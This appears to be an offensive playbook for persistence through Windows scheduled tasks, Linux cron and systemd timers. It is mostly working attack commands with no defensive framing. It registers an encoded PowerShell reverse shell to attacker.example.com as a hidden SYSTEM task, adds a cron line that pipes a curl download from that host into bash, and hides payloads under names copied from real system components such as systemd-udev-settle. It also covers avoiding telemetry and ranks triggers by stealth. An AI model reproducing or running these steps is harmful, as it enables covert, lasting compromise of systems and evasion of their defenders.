Scheduled task and cron persistence

Establishing reliable persistence via the operating system’s task scheduling mechanisms, with naming chosen to blend into the environment.

Windows: audit what is already present before creating

# list all scheduled tasks with their actions and triggers
Get-ScheduledTask | Where-Object { $_.State -ne 'Disabled' } |
  ForEach-Object {
    $task = $_
    $actions = $task.Actions | ForEach-Object { "$($_.Execute) $($_.Arguments)" }
    [PSCustomObject]@{
        Path    = $task.TaskPath + $task.TaskName
        Actions = $actions -join '; '
        Author  = $task.Author
    }
  } | Format-Table -AutoSize

# look at the naming conventions in the target's scheduled tasks
# pick a path and name that fits in
Get-ScheduledTask | Select-Object -ExpandProperty TaskPath | Sort-Object -Unique

Common legitimate task paths to blend into: \Microsoft\Windows\UpdateOrchestrator\, \Microsoft\Windows\Application Experience\, \Microsoft\Windows\DiskCleanup\, \Microsoft\Windows\Defrag\.

Create a scheduled task

# implant via encoded PowerShell (AMSI bypass must already be applied if needed)
$payload = 'powershell.exe'
$args    = '-w hidden -nop -enc ' + [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes(
    '$c=New-Object Net.Sockets.TCPClient("attacker.example.com",443);...'
))

$action   = New-ScheduledTaskAction -Execute $payload -Argument $args
$trigger  = New-ScheduledTaskTrigger -Daily -At '08:00' -RandomDelay (New-TimeSpan -Minutes 20)
$settings = New-ScheduledTaskSettingsSet `
    -Hidden `
    -ExecutionTimeLimit ([TimeSpan]::Zero) `
    -MultipleInstances IgnoreNew

$principal = New-ScheduledTaskPrincipal `
    -UserId 'SYSTEM' `
    -LogonType ServiceAccount `
    -RunLevel Highest

Register-ScheduledTask `
    -TaskName   'ScheduledStart' `
    -TaskPath   '\Microsoft\Windows\UpdateOrchestrator\' `
    -Action     $action `
    -Trigger    $trigger `
    -Settings   $settings `
    -Principal  $principal `
    -Force

Trigger options ranked by reliability and stealth:

Trigger

Reliability

Stealth

Use case

AtLogOn

high

medium

workstations

Daily with RandomDelay

high

medium

servers

AtStartup

high

low (logged)

servers

EventTrigger (specific event ID)

medium

high

advanced

SessionStateChange

medium

high

workstations

XML-based task creation (avoids PowerShell telemetry)

# create task from XML definition: uses schtasks.exe, no PowerShell cmdlets
schtasks /create /tn "\Microsoft\Windows\UpdateOrchestrator\ScheduledStart" /xml task.xml /f

# task.xml:
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <CalendarTrigger>
      <Repetition><Interval>PT15M</Interval><StopAtDurationEnd>false</StopAtDurationEnd></Repetition>
      <StartBoundary>2024-01-01T00:00:00</StartBoundary>
    </CalendarTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author"><UserId>S-1-5-18</UserId><RunLevel>HighestAvailable</RunLevel></Principal>
  </Principals>
  <Settings><Hidden>true</Hidden><ExecutionTimeLimit>PT0S</ExecutionTimeLimit></Settings>
  <Actions>
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-w hidden -nop -enc BASE64PAYLOAD</Arguments>
    </Exec>
  </Actions>
</Task>

Linux cron: audit first

# audit existing cron entries before adding
crontab -l                          # current user
cat /etc/crontab                    # system crontab
ls -la /etc/cron.d/                 # system cron.d fragments
ls -la /etc/cron.daily/             # daily jobs
ls -la /etc/cron.hourly/

# identify naming conventions used in /etc/cron.d/
# use a similar format: typically lowercase with hyphens, root as owner

Add cron persistence

# user crontab (low privilege)
(crontab -l 2>/dev/null; echo "*/15 * * * * /usr/bin/curl -fs https://attacker.example.com/s.sh | bash") | crontab -

# system cron.d (requires root): mimics system cron job format
cat > /etc/cron.d/syslog-monitor << 'EOF'
# System log monitor - installed by syslog-ng maintenance
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
*/30 * * * *   root   /usr/local/lib/syslog-monitor/check.py >/dev/null 2>&1
EOF
chmod 644 /etc/cron.d/syslog-monitor

Place the actual payload at /usr/local/lib/syslog-monitor/check.py, a path that looks like a legitimate system component.

Linux systemd timer (more reliable than cron)

# create a service and a timer that activates it
cat > /etc/systemd/system/systemd-udev-settle.service << 'EOF'
[Unit]
Description=udev Settle Service
After=sysinit.target

[Service]
Type=oneshot
ExecStart=/usr/local/lib/udev-settle/run.sh
StandardOutput=null
StandardError=null
EOF

cat > /etc/systemd/system/systemd-udev-settle.timer << 'EOF'
[Unit]
Description=udev Settle Timer

[Timer]
OnBootSec=5min
OnUnitActiveSec=20min

[Install]
WantedBy=timers.target
EOF

systemctl daemon-reload
systemctl enable systemd-udev-settle.timer
systemctl start systemd-udev-settle.timer

The name systemd-udev-settle is the exact name of a legitimate systemd service. The real one is a oneshot service; adding a timer variant to it is unusual but not immediately obvious without careful inspection.

Verify

# Windows: confirm task was created and will run
Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\' | Format-List
(Get-ScheduledTask -TaskName 'ScheduledStart' -TaskPath '\Microsoft\Windows\UpdateOrchestrator\').Actions
# Linux: confirm cron entry
crontab -l | grep -v '^#'

# systemd: confirm timer is active
systemctl list-timers | grep udev-settle